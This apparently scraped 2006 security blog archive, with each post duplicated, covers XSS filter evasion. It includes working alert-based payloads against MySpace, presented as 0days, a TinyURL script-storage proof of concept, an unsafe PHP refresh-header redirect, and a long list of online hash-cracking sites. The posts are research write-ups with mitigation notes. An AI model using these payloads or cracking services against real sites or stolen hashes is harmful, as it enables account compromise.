Saturday, December 30, 2006
Detecting Logged In Users
This summary is not available. Please
click here to view the post.
Labels:
Detection,
Security (All),
Web App Sec
Using TinyURL For Storage (includes PoC)
Note: To skip to the PoC click here.
I recently read the following post about trying to write something that took advantage of pdp's article of using tinyURL for storage: http://michaeldaw.org/news/news-221206/
Sadly at the time I hadn't actually read pdp's article (http://www.gnucitizen.org/blog/the-attack-of-the-tiny-urls/) further than the first couple of lines, because the title seemed rather self explanatory. Anyway, I wanted to write a comment to that post, but it didn't want to let me, maybe that's because the comments are moderated or something, so here's what I wanted to write:
Anyway, even though its taking up most of the post, its not the important part, I also got bored and wrote a PoC for pdp's idea (which is exactly the same as mine actually, but I should have read his article, :S). It needs to be run on localhost for it to work, well, either that or you need to change the tinyurls to reflect the site you're hosting it on, and you need to make sure the len argument is correct, I'm using 18 because http://localhost/# is 18 characters in length. Anyway, here's the actual code:
Note: The code WILL break if the first request to TinyURL (the one for the URL Encoded script) takes too long and finishes after the actual content has been loaded, because the CheckContentLoaded function uses the function stored on TinyURL.
Also, the code could probably be made half its size by removing the functions to get the script, and making the remaining two functions which get data from Tinyurl a little bit more agile, but its a PoC, making it work efficiently is a task left to the reader, :p
I recently read the following post about trying to write something that took advantage of pdp's article of using tinyURL for storage: http://michaeldaw.org/news/news-221206/
Sadly at the time I hadn't actually read pdp's article (http://www.gnucitizen.org/blog/the-attack-of-the-tiny-urls/) further than the first couple of lines, because the title seemed rather self explanatory. Anyway, I wanted to write a comment to that post, but it didn't want to let me, maybe that's because the comments are moderated or something, so here's what I wanted to write:
Sure, you can't directly link to them and have them to redirect to data URLS, you need a different type of redirect (http://kuza55.blogspot.com/2006/11/not-all-redirection-scripts-are-created.html) for that to work. And anyway, if Location headers could redirect users to data URLs then we'd have yet another XSS vector to deal with.
What you can do though is create URLs with your data in them like this one: http://tinyurl.com/ye9kbd which redirects to http://www.google.com/search?q=data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4=
But that still leaves us with the problem of having a cross-domain browser security policy, whereby we can't even find out where the URL redirected to, unless its on our site. But since we're already attacking a site, we can easily just create a tinyURL with the data in the query string.
So lets say you were conducting an XSS attack against www.example.com you could submit http://www.example.com/#data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4= to tinyURL, get a URL back, put the tinyURL in the src attribute of an invisible iframe, then set the onLoad event (or something else, onLoad is just easy to work with) to parse the location, and then simply use that data as you need to.
And since we're using the # symbol to separate our data, it won't show up in the site's logs, since everything after it shouldn't sent by the browser.
But a more profitable method would probably be to simply post your data on a site with an insecure crossdomain.xml file, and use flash to make arbitrary requests to read that data.
Anyway, even though its taking up most of the post, its not the important part, I also got bored and wrote a PoC for pdp's idea (which is exactly the same as mine actually, but I should have read his article, :S). It needs to be run on localhost for it to work, well, either that or you need to change the tinyurls to reflect the site you're hosting it on, and you need to make sure the len argument is correct, I'm using 18 because http://localhost/# is 18 characters in length. Anyway, here's the actual code:
<html>
<body>
<script>
function getURLEncodedScriptFromTiny (tiny, len) {
var b64iframe = document.createElement('iframe');
b64iframe.src = tiny;
b64iframe.style.display = 'none';
var callback = new Function ('getb64callback(this, ' + len + ');');
b64iframe.onload = callback;
document.body.appendChild(b64iframe);
}
function getb64callback (iframe, len) {
var script = iframe.contentDocument.location + '';
script = unescape(script.substring(len));
document.body.removeChild (iframe);
var b64script = document.createElement('script');
b64script.type = 'text/javascript';
b64script.text = script;
document.body.appendChild(b64script);
}
function getDataFromTiny (tiny, len, order) {
var data_iframe = document.createElement('iframe');
data_iframe.src = tiny;
data_iframe.style.display = 'none';
var callback = new Function ('getDatacallback(this, ' + len + ', ' + order
+ ');');
data_iframe.onload = callback;
document.body.appendChild(data_iframe);
}
function getDatacallback (iframe, len, order) {
var temp = iframe.contentDocument.location + '';
data[order] = temp.substring(len);
loaded++;
document.body.removeChild (iframe);
}
getURLEncodedScriptFromTiny ('http://tinyurl.com/ycx7mq', 18);
var data = new Array(2);
var loaded = 0;
getDataFromTiny ('http://tinyurl.com/w6jwb', 18, 0);
getDataFromTiny ('http://tinyurl.com/y35tuw', 18, 1);
function CheckLoaded() {
if (loaded = 2) {
clearInterval (tiny_wait);
var content = document.createElement('textarea');
content.value = decode64(data.join(''));
content.cols = 80;
content.rows = 20;
document.body.appendChild(content);
}
}
var tiny_wait = setInterval('CheckLoaded()',2000);
</script>
</body>
</html>
Note: The code WILL break if the first request to TinyURL (the one for the URL Encoded script) takes too long and finishes after the actual content has been loaded, because the CheckContentLoaded function uses the function stored on TinyURL.
Also, the code could probably be made half its size by removing the functions to get the script, and making the remaining two functions which get data from Tinyurl a little bit more agile, but its a PoC, making it work efficiently is a task left to the reader, :p
Sunday, December 24, 2006
MySpace Non-Alpha-Non-Digit XSS 0day
It seems that MySpace has finally understood the issue here, which is good news, but the way their filter is written is working against them, or at least thats what I'm guessing from the results I'm getting.
Anyway, here's the exploit:
As you can see if you run that moz-binding is changed to .., and we are left with the following:
So from this I think we can quite safely assume that they have a few separate modules which have their go at the code in order, and if something gets changed to something dangerous, but the module that would filter that particular dangerous code out has already run (the non-alpha-non-digit filtering module), then the code is allowed through.
Isn't black box auditing fun? You end up making guesses that are quite often so very wrong but fit your results, :p.
Anyway, here's the exploit:
<body onLoadmoz-binding="alert('XSS');">
As you can see if you run that moz-binding is changed to .., and we are left with the following:
<body onLoad..="alert('XSS');">
So from this I think we can quite safely assume that they have a few separate modules which have their go at the code in order, and if something gets changed to something dangerous, but the module that would filter that particular dangerous code out has already run (the non-alpha-non-digit filtering module), then the code is allowed through.
Isn't black box auditing fun? You end up making guesses that are quite often so very wrong but fit your results, :p.
Labels:
Firefox,
MySpace,
Security (All),
Web App Sec,
XSS
Thursday, November 23, 2006
Not all redirection scripts are created equal.
Now, I'm sure we're all used to redirection scripts by now, and most of us should be aware of the danger of HTTP Response Splitting when allowing user content in the headers we send, and that there is also a patch in PHP since 4.4.2 and 5.1.2 which prevents this by dissalowing multiple lines in a single header call. This patch is not completely bullet proof as articles such as HTTP Response Smuggling illustrate, but sometimes there's an easier way to achieve what you want.
First of all, what is it that HTTP Response splitting gets most used for anyway? XSS. So any injection that will give us an XSS vector is just as good as any other.
But like the title says, not all redirection scripts are created equal. The most common approach used to redirect people is somewhat similar to the following:
Which, when the PHP patch is applied, should be perfectly safe when ti comes to preventing XSS.
But is that the only approach? As some recent auditing I've done has shown me, its not.
I found something like the following not too long ago:
And while it may serve the same needs as the above it, its surprisingly different. But before I explain the exact problem, does the header look familiar to you? It should, its the header that is used in meta tags to redirect users, and if you've done much reading on XSS you should know that meta redirects are another way to execute javascript.
And unsurprisingly enough, the above header follows the same rules. The refresh header, unlike the location header allows you to redirect users to javascript: or other URLS, depending on what your browsers support, so it should be no trouble at all to simply pass a javascript url to the script and have the user execute the javascript.
Just goes to show how there is generally more than one way to do something, but going down an untested road will often lead to unforseen problems that have already been solved for other approaches.
First of all, what is it that HTTP Response splitting gets most used for anyway? XSS. So any injection that will give us an XSS vector is just as good as any other.
But like the title says, not all redirection scripts are created equal. The most common approach used to redirect people is somewhat similar to the following:
<?php
header ("Location: ".$_GET['url']);
?>
Which, when the PHP patch is applied, should be perfectly safe when ti comes to preventing XSS.
But is that the only approach? As some recent auditing I've done has shown me, its not.
I found something like the following not too long ago:
<?php
header ('refresh: 0; URL="'.$_GET['url'].'"');
?>
And while it may serve the same needs as the above it, its surprisingly different. But before I explain the exact problem, does the header look familiar to you? It should, its the header that is used in meta tags to redirect users, and if you've done much reading on XSS you should know that meta redirects are another way to execute javascript.
And unsurprisingly enough, the above header follows the same rules. The refresh header, unlike the location header allows you to redirect users to javascript: or other URLS, depending on what your browsers support, so it should be no trouble at all to simply pass a javascript url to the script and have the user execute the javascript.
Just goes to show how there is generally more than one way to do something, but going down an untested road will often lead to unforseen problems that have already been solved for other approaches.
Labels:
PHP,
Security (All),
Web App Sec
Sunday, November 05, 2006
More MySpace XSS
I don't know whether to feel sorry for MySpace, or whether to laugh. The amount of XSS holes in MySpace is nothing short of outstanding.
And the sad thing is they've clearly tried to fix as many things as they've been able to find, but some things have fallen just short.
Anyway, the flaw I found this time around is that MySpace doesn't know that you can have an underscore (_) between an attribute name and the equals sign, and have it being valid, like so: (Note: This only works on Firefox)
But the interesting thing is that they have got a regex which dissallows everything which looks like on*= (obviously it doesn't look anything like that, but I'm not going to bother trying to write regexs), and yet they've done it in such a way that they need to know about what characters are allowed, essentially creating ablacklist of chars which they won't let you use between an attribute name and an equals sign. Why anyone would create a blacklist for that amazes me.
And the sad thing is they've clearly tried to fix as many things as they've been able to find, but some things have fallen just short.
Anyway, the flaw I found this time around is that MySpace doesn't know that you can have an underscore (_) between an attribute name and the equals sign, and have it being valid, like so: (Note: This only works on Firefox)
<body onLoad_="alert('XSS');">
But the interesting thing is that they have got a regex which dissallows everything which looks like on*= (obviously it doesn't look anything like that, but I'm not going to bother trying to write regexs), and yet they've done it in such a way that they need to know about what characters are allowed, essentially creating ablacklist of chars which they won't let you use between an attribute name and an equals sign. Why anyone would create a blacklist for that amazes me.
Labels:
Firefox,
MySpace,
Security (All),
Web App Sec,
XSS
Friday, October 27, 2006
Myspace XSS Fragmentation - Again
Well, as Dark Reading reported I believed that the patch MySpace implemented was near-sighted, and that it was possibly vulnerable to more XSS Fragmentation attacks. And it is.
(The following rewritten for clarity. 28/20/06 11PM GMT)
===========================
MySpace XSS Vulnerability 0day
Released 28/10/06
by kuza55 of w4ck1ng.com
===========================
Contents:
1.0 Introduction
2.0 Analysis
2.1 MySpace's Fix
2.2 Other XSS Fragmentation Attacks
3.0 PoC
4.0 Final Notes
===========================
1.0 Introduction
===========================
The vulnerability explained here is an XSS Fragmentation attack. Breifly, and XSS Fragmentation attack is one which works by placing 2 seperately harmless pieces of HTML into two different input field which are rendered on the same page, which when rendered join to create a dangerous attack vector. More details, along with the previous MySpace attack, can be found here: XSS Fragmentation Attacks + Myspace 0day
MySpace found about the vulnerability in the above link and implemented a 'fix', it hasn't held.
===========================
2.0 Analysis
===========================
This section should explain what MySpace did, and why other Fragmentation attacks don't work.
===========================
2.1 MySpace's Fix
===========================
This section assumes you already know about the previous vulnerbaility.
Anyway, the fix that MySpace implemented altered their event handler stripping code, which previously removed event handlers if they were inside a tag. They changed it so that it also removed all event handlers after a single quote, no matter if it was in a tag or not. And while it addressed the PoC code in my earlier post, they did not implement the recomended fix, and now again find themselves vulnerable.
The reason this is not enough is because there are considerably more XSS attack vectors than the simple one I used. They range from the simplest (using other encapsulation characters - as this attack does) to using style and other attributes and tags to execute javascript.
===========================
2.2 Other XSS Fragmentation Attacks
===========================
Now, it would have been considerably more interesting to come out with a completely different XSS Fragmentation attack, but sadly that is not possible due to the way MySpace's filter works.
One of the requirements for being able to execute an XSS Fragmentation attack is that the filter must be stateful (or contextual, or however you want to describe it), in that it will allow things that are malicious under some circumstances to be included if they are judged to be being inserted in safe circumstances.
The only part of MySpace's filter which does this is the event handler code. All th other vectors which could be used like javascript in image tags, or javascript in URLs for background images, etc, are all filteredout wherever they are. For example if you type "moz-binding" in any input field it is automatically filtered out, the same goes for "expression (", "javascript:", "data:" and several others. In effect this stops XSS Fragmentation attacks in these altogether. And while this seems like its is not a very good solution because it possible for users to need to type those words normally, thats the way its been done, and no-one is complaining.
===========================
3.0 PoC
===========================
This PoC is almost identical to the previous one, except the single quotes (') are changed to grave accents (`). Insert these 2 separate pieces of code into 2 separate input fields: (Note: This only works on IE and Netscape 8.1, because other browsers don't understand grave accents as encapsulation chracters for HTML tag attributes.)
===========================
4.0 Final Notes
===========================
Well, what can I say? I explained a fix, they didn't use it, they ended up being vulnerbale again, what a surprise.
(The following rewritten for clarity. 28/20/06 11PM GMT)
===========================
MySpace XSS Vulnerability 0day
Released 28/10/06
by kuza55 of w4ck1ng.com
===========================
Contents:
1.0 Introduction
2.0 Analysis
2.1 MySpace's Fix
2.2 Other XSS Fragmentation Attacks
3.0 PoC
4.0 Final Notes
===========================
1.0 Introduction
===========================
The vulnerability explained here is an XSS Fragmentation attack. Breifly, and XSS Fragmentation attack is one which works by placing 2 seperately harmless pieces of HTML into two different input field which are rendered on the same page, which when rendered join to create a dangerous attack vector. More details, along with the previous MySpace attack, can be found here: XSS Fragmentation Attacks + Myspace 0day
MySpace found about the vulnerability in the above link and implemented a 'fix', it hasn't held.
===========================
2.0 Analysis
===========================
This section should explain what MySpace did, and why other Fragmentation attacks don't work.
===========================
2.1 MySpace's Fix
===========================
This section assumes you already know about the previous vulnerbaility.
Anyway, the fix that MySpace implemented altered their event handler stripping code, which previously removed event handlers if they were inside a tag. They changed it so that it also removed all event handlers after a single quote, no matter if it was in a tag or not. And while it addressed the PoC code in my earlier post, they did not implement the recomended fix, and now again find themselves vulnerable.
The reason this is not enough is because there are considerably more XSS attack vectors than the simple one I used. They range from the simplest (using other encapsulation characters - as this attack does) to using style and other attributes and tags to execute javascript.
===========================
2.2 Other XSS Fragmentation Attacks
===========================
Now, it would have been considerably more interesting to come out with a completely different XSS Fragmentation attack, but sadly that is not possible due to the way MySpace's filter works.
One of the requirements for being able to execute an XSS Fragmentation attack is that the filter must be stateful (or contextual, or however you want to describe it), in that it will allow things that are malicious under some circumstances to be included if they are judged to be being inserted in safe circumstances.
The only part of MySpace's filter which does this is the event handler code. All th other vectors which could be used like javascript in image tags, or javascript in URLs for background images, etc, are all filteredout wherever they are. For example if you type "moz-binding" in any input field it is automatically filtered out, the same goes for "expression (", "javascript:", "data:" and several others. In effect this stops XSS Fragmentation attacks in these altogether. And while this seems like its is not a very good solution because it possible for users to need to type those words normally, thats the way its been done, and no-one is complaining.
===========================
3.0 PoC
===========================
This PoC is almost identical to the previous one, except the single quotes (') are changed to grave accents (`). Insert these 2 separate pieces of code into 2 separate input fields: (Note: This only works on IE and Netscape 8.1, because other browsers don't understand grave accents as encapsulation chracters for HTML tag attributes.)
<body test=`
` onLoad="alert('XSS');">
===========================
4.0 Final Notes
===========================
Well, what can I say? I explained a fix, they didn't use it, they ended up being vulnerbale again, what a surprise.
Labels:
MySpace,
Security (All),
Web App Sec,
XSS
Sunday, October 22, 2006
Online Reverse Lookup Tables For Various Hashing Algorithms
Here's a list of the various online reverse-lookup tables I found, they all support md5, but some support other hashes as well (including SHA-1 & NT/LM)
If you know of any more PLEASE tell me and I'll add them to the list.
Update: C'mon guys, is it that hard to just leave a comment with the other crackers you know about? I don't moderate comments, you don't need to sign up or anything, just leave a link. I know you guys know of more than this list because I check the referers Google Analytics tells me about, and go to forums and find people linking to others, but no-one has told me of any extra ones.
Some of them seem to be down atm, but since I'm not sure how long they've been down or if they're coming back I'm posting them anyway.
md5:
http://www.tmto.org/ (formerly md5lookup.com)
http://md5.rednoize.com (good with words)
http://nz.md5.crysm.net (English dictionary, nearly all one to four character alphanumeric. 27.8m records.) - seems to be down atm
http://us.md5.crysm.net (British, Jargon and American worldlist, IP addresses 16.0m records)
http://www.xmd5.org (good with numbers)
http://gdataonline.com (wordlist based, I think)
http://www.hashchecker.com (It seems to say its good, but I've never gotten many hits form here)
http://passcracking.ru
http://www.milw0rm.com/md5
http://plain-text.info (this one is quite good and generally returns results, but you have to submit things to be cracked, its not just an online database)
http://www.securitystats.com/tools/hashcrack.php (does various, including LM NTLM and SHA-1, but seems to return no results on anything than the most basic, so rather useless)
http://www.schwett.com/md5/ - Does Norwegian words too
http://passcrack.spb.ru/
http://shm.pl/md5/
http://www.und0it.com/
http://www.neeao.com/md5/
http://md5.benramsey.com/
http://www.md5decrypt.com/
http://md5.khrone.pl/
http://www.csthis.com/md5/index.php
http://www.md5decrypter.com/
http://www.md5encryption.com/
http://www.md5database.net/
http://md5.xpzone.de/
http://md5.geeks.li/
http://www.hashreverse.com/
http://www.cmd5.com/english.aspx
http://www.md5.altervista.org/
http://md5.overclock.ch/biz/index.php?p=md5crack&l=en
http://alimamed.pp.ru/md5/ (for those who can't read russian: put your md5 in the second box)
http://md5crack.it-helpnet.de/index.php?op=add (German, I have no idea....)
http://cijfer.hua.fi/ (Projects->md5 reverse lookup)
http://shm.hard-core.pl/md5/
http://www.mmkey.com/md5/HOME.ASP
http://www.thepanicroom.org/index.php?view=cracker
http://rainbowtables.net/services/results.php (I'm not sure i'd trust this site to give more than a tiny amount of results)
http://rainbowcrack.com/ (requires people to contribute rainbowtables to be able to query them, and continue contributing them constantly)
http://www.securitydb.org/cracker/
http://passwordsecuritycenter.com/index.php?main_page=product_info&cPath=3&products_id=7 (This is meant to be used as proof that they can actually reverse passwords to convince you to buy their stuff, but as long as they decrypt it it doesn't matter why, right?)
http://0ptix.co.nr/md5
https://www.astalavista.net/?cmd=rainbowtables
http://ice.breaker.free.fr/
http://www.md5this.com
http://www.pldsecurity.de/forum/md5.php
http://www.xeons.net/genesis/
http://hackerscity.free.fr/
http://bisix.cogia.net/
http://md5.allfact.info/
http://bokehman.com/cracker/
http://www.tydal.nu/article/md5-crack/
http://ivdb.org/search/md5/
http://md5.netsons.org/
http://md5.c.la/ (The form at the bottom left of the page)
http://www.jock-security.com/md5_database/?page=crack
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.blackfiresecurity.com/tools/md5lib.php (Queries the MD5 Library AIM Bot)
http://www.md5-db.com/index.php
http://www.kevlardisk.org/
http://md5.idiobase.de/
http://md5search.deerme.org/
http://sha1search.com/
lm Only:
http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/ (Currently Offline)
http://www.milw0rm.com/lm (Currently Offline)
lm + ntlm:
http://plain-text.info
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/
http://passwordsecuritycenter.com/index.php?main_page=product_info&cPath=3&products_id=7
https://www.astalavista.net/?cmd=rainbowtables
md4:
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/
sha1:
http://passcrack.spb.ru/
http://www.hashreverse.com/
http://rainbowcrack.com/
http://www.md5encryption.com/
http://www.shalookup.com/
http://md5.rednoize.com/
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.tmto.org/
http://md5search.deerme.org/
If you know of any more PLEASE tell me and I'll add them to the list.
Update: C'mon guys, is it that hard to just leave a comment with the other crackers you know about? I don't moderate comments, you don't need to sign up or anything, just leave a link. I know you guys know of more than this list because I check the referers Google Analytics tells me about, and go to forums and find people linking to others, but no-one has told me of any extra ones.
Some of them seem to be down atm, but since I'm not sure how long they've been down or if they're coming back I'm posting them anyway.
md5:
http://www.tmto.org/ (formerly md5lookup.com)
http://md5.rednoize.com (good with words)
http://nz.md5.crysm.net (English dictionary, nearly all one to four character alphanumeric. 27.8m records.) - seems to be down atm
http://us.md5.crysm.net (British, Jargon and American worldlist, IP addresses 16.0m records)
http://www.xmd5.org (good with numbers)
http://gdataonline.com (wordlist based, I think)
http://www.hashchecker.com (It seems to say its good, but I've never gotten many hits form here)
http://passcracking.ru
http://www.milw0rm.com/md5
http://plain-text.info (this one is quite good and generally returns results, but you have to submit things to be cracked, its not just an online database)
http://www.securitystats.com/tools/hashcrack.php (does various, including LM NTLM and SHA-1, but seems to return no results on anything than the most basic, so rather useless)
http://www.schwett.com/md5/ - Does Norwegian words too
http://passcrack.spb.ru/
http://shm.pl/md5/
http://www.und0it.com/
http://www.neeao.com/md5/
http://md5.benramsey.com/
http://www.md5decrypt.com/
http://md5.khrone.pl/
http://www.csthis.com/md5/index.php
http://www.md5decrypter.com/
http://www.md5encryption.com/
http://www.md5database.net/
http://md5.xpzone.de/
http://md5.geeks.li/
http://www.hashreverse.com/
http://www.cmd5.com/english.aspx
http://www.md5.altervista.org/
http://md5.overclock.ch/biz/index.php?p=md5crack&l=en
http://alimamed.pp.ru/md5/ (for those who can't read russian: put your md5 in the second box)
http://md5crack.it-helpnet.de/index.php?op=add (German, I have no idea....)
http://cijfer.hua.fi/ (Projects->md5 reverse lookup)
http://shm.hard-core.pl/md5/
http://www.mmkey.com/md5/HOME.ASP
http://www.thepanicroom.org/index.php?view=cracker
http://rainbowtables.net/services/results.php (I'm not sure i'd trust this site to give more than a tiny amount of results)
http://rainbowcrack.com/ (requires people to contribute rainbowtables to be able to query them, and continue contributing them constantly)
http://www.securitydb.org/cracker/
http://passwordsecuritycenter.com/index.php?main_page=product_info&cPath=3&products_id=7 (This is meant to be used as proof that they can actually reverse passwords to convince you to buy their stuff, but as long as they decrypt it it doesn't matter why, right?)
http://0ptix.co.nr/md5
https://www.astalavista.net/?cmd=rainbowtables
http://ice.breaker.free.fr/
http://www.md5this.com
http://www.pldsecurity.de/forum/md5.php
http://www.xeons.net/genesis/
http://hackerscity.free.fr/
http://bisix.cogia.net/
http://md5.allfact.info/
http://bokehman.com/cracker/
http://www.tydal.nu/article/md5-crack/
http://ivdb.org/search/md5/
http://md5.netsons.org/
http://md5.c.la/ (The form at the bottom left of the page)
http://www.jock-security.com/md5_database/?page=crack
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.blackfiresecurity.com/tools/md5lib.php (Queries the MD5 Library AIM Bot)
http://www.md5-db.com/index.php
http://www.kevlardisk.org/
http://md5.idiobase.de/
http://md5search.deerme.org/
http://sha1search.com/
lm Only:
http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/ (Currently Offline)
http://www.milw0rm.com/lm (Currently Offline)
lm + ntlm:
http://plain-text.info
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/
http://passwordsecuritycenter.com/index.php?main_page=product_info&cPath=3&products_id=7
https://www.astalavista.net/?cmd=rainbowtables
md4:
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/
sha1:
http://passcrack.spb.ru/
http://www.hashreverse.com/
http://rainbowcrack.com/
http://www.md5encryption.com/
http://www.shalookup.com/
http://md5.rednoize.com/
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.tmto.org/
http://md5search.deerme.org/
Saturday, October 21, 2006
XSS Fragmentation Attacks + MySpace 0day
===========================
Fragmentation Is Not Just For The Network
XSS Fragmentation Attacks
Written 18/10/06
by kuza55
===========================
Contents:
1.0 Introduction to Fragmentation Attacks
2.0 XSS Fragmentation Attacks
3.0 MySpace 0day!
4.0 Mitigation
5.0 Final Notes
===========================
1.0 Introduction to Fragmentation Attacks
===========================
At the simplest level, fragmentation attacks are possible when several fragments, which are by themselves not a security risk and can therefore be allowed to pass through a filter or firewall, but when the fragments reach their destination the fragments are combined and produce something dangerous.
Fragmentation attacks are usually seen in relation to the network/session layer where firewalls and IDSs try to filter packets on how dangerous they are deemed to be, they are also used to sometimes fool those same devices which try to rearrange the packets themselves and read the streams, but that is not what this article is about, this article is specifically about attacks where the whole document is not reassembled and checked.
===========================
2.0 XSS Fragmentation Attacks
===========================
XSS Fragmentation attacks are generally quite rare because they require either multiple sets of input being displayed on the same page which have all gone through the same (or at least a similar) XSS filter and are not tidied up.
Another requirement that must be placed on the XSS filter is that it must be completely dumb in the sense that it simply strips away < and > characters, or it is stateful, and allows certain strings in places where it would not allow them, e.g.
The idea behind XSS fragmentation attacks is to have your normally non-dangerous code (e.g. onload="alert('XSS');") placed in a dangerous position.
The simplest place to get your code placed is inside another tag and that is the example I'll go with now.
===========================
3.0 MySpace 0day!
===========================
The example I'll be using is a MySpace 0day I discovered. First of all I’ll give a quick explanation of the system MySpace has. You are not just given a single field to enter your profile into, you are given several fields about yourself, who you'd like to meet, your interests, etc.
Anyway, the sections we will be attacking are the most closely placed sections on the page, the interests sections (more specifically the Music and Film ones), normally your resulting code looks like this:
The only things separating our 2 fields was this small block of code:
Now what interesting things can we see about that code, well we can see that there are no single quotes there at all, and the only quotes used are double quotes.
So of course we can do something to encapsulate the text in between like so:
and as you can see we have included all that text in between in the test parameter for the body tag we've introduced! And as you can also see we have the ability to write things into our tag in the second input field and it will be automatically place din a dangerous position! So if we make our Films field look like so:
then we have XSS.
This is exactly the attack used on MySpace, and should work on many other sites where input is not cleaned up and dangling tags are allowed to be posted.
Maybe on some sites which allow user comments on articles, etc are vulnerable?
(Note: Wordpress and Blogger aren't vulnerable, see Mitigation)
===========================
4.0 Mitigation
===========================
The root of this problem is that sections are filtered separately, but that problem is one that is probably too time-consuming to bother with as fixing another requirement needed for the attack to work is much easier to fix.
The easiest fix is to use something many filtering systems already do for other reasons: disallow incomplete/unclosed tags. At the moment I see no way of being able to exploit the above idea if the filtering engine does not allow either unfinished tags (like in the example above) or unclosed tags (e.g. <style> tags).
===========================
5.0 Final Notes
===========================
Well, what can I say, this is probably a corner case of XSS filter evasion, but it is a corner case that could possibly be applied to many situations since we seem to be able to post html comments in many places these days. I also hope it helps illustrate how security mechanisms such as XSS filters cannot be used as simple drop in modules, but have to be integrated into your design for them to work effectively.
Sadly/Luckily (depending on your viewpoint) manyfilters such as the ones employed by Wordpress and Blogger force you to have 'neat' HTML so this attack is impossible on those 2 cases.
Fragmentation Is Not Just For The Network
XSS Fragmentation Attacks
Written 18/10/06
by kuza55
===========================
Contents:
1.0 Introduction to Fragmentation Attacks
2.0 XSS Fragmentation Attacks
3.0 MySpace 0day!
4.0 Mitigation
5.0 Final Notes
===========================
1.0 Introduction to Fragmentation Attacks
===========================
At the simplest level, fragmentation attacks are possible when several fragments, which are by themselves not a security risk and can therefore be allowed to pass through a filter or firewall, but when the fragments reach their destination the fragments are combined and produce something dangerous.
Fragmentation attacks are usually seen in relation to the network/session layer where firewalls and IDSs try to filter packets on how dangerous they are deemed to be, they are also used to sometimes fool those same devices which try to rearrange the packets themselves and read the streams, but that is not what this article is about, this article is specifically about attacks where the whole document is not reassembled and checked.
===========================
2.0 XSS Fragmentation Attacks
===========================
XSS Fragmentation attacks are generally quite rare because they require either multiple sets of input being displayed on the same page which have all gone through the same (or at least a similar) XSS filter and are not tidied up.
Another requirement that must be placed on the XSS filter is that it must be completely dumb in the sense that it simply strips away < and > characters, or it is stateful, and allows certain strings in places where it would not allow them, e.g.
<body onload="alert('XSS');">
would not be allowed, but onload="alert('XSS');"
would be.The idea behind XSS fragmentation attacks is to have your normally non-dangerous code (e.g. onload="alert('XSS');") placed in a dangerous position.
The simplest place to get your code placed is inside another tag and that is the example I'll go with now.
===========================
3.0 MySpace 0day!
===========================
The example I'll be using is a MySpace 0day I discovered. First of all I’ll give a quick explanation of the system MySpace has. You are not just given a single field to enter your profile into, you are given several fields about yourself, who you'd like to meet, your interests, etc.
Anyway, the sections we will be attacking are the most closely placed sections on the page, the interests sections (more specifically the Music and Film ones), normally your resulting code looks like this:
<tr id=MusicRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Music</span></td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Films</span></td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Films Go Here!</td></tr>
The only things separating our 2 fields was this small block of code:
</span></td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Films</span></td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">
Now what interesting things can we see about that code, well we can see that there are no single quotes there at all, and the only quotes used are double quotes.
So of course we can do something to encapsulate the text in between like so:
<tr id=MusicRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Music</span></td><td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word"><body test='</td></tr><script language="JavaScript">highlightInterests("ProfileMusic");</script><tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0"><span class="lightbluetext8">Films</span></td><td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">'>Films Go Here!</td></tr>
and as you can see we have included all that text in between in the test parameter for the body tag we've introduced! And as you can also see we have the ability to write things into our tag in the second input field and it will be automatically place din a dangerous position! So if we make our Films field look like so:
' onLoad="alert('XSS');"></body>
then we have XSS.
This is exactly the attack used on MySpace, and should work on many other sites where input is not cleaned up and dangling tags are allowed to be posted.
Maybe on some sites which allow user comments on articles, etc are vulnerable?
(Note: Wordpress and Blogger aren't vulnerable, see Mitigation)
===========================
4.0 Mitigation
===========================
The root of this problem is that sections are filtered separately, but that problem is one that is probably too time-consuming to bother with as fixing another requirement needed for the attack to work is much easier to fix.
The easiest fix is to use something many filtering systems already do for other reasons: disallow incomplete/unclosed tags. At the moment I see no way of being able to exploit the above idea if the filtering engine does not allow either unfinished tags (like in the example above) or unclosed tags (e.g. <style> tags).
===========================
5.0 Final Notes
===========================
Well, what can I say, this is probably a corner case of XSS filter evasion, but it is a corner case that could possibly be applied to many situations since we seem to be able to post html comments in many places these days. I also hope it helps illustrate how security mechanisms such as XSS filters cannot be used as simple drop in modules, but have to be integrated into your design for them to work effectively.
Sadly/Luckily (depending on your viewpoint) manyfilters such as the ones employed by Wordpress and Blogger force you to have 'neat' HTML so this attack is impossible on those 2 cases.
Labels:
MySpace,
Security (All),
Web App Sec,
XSS
Tuesday, October 17, 2006
Updated my article entitled " Writing an XSS Worm" to v0.3
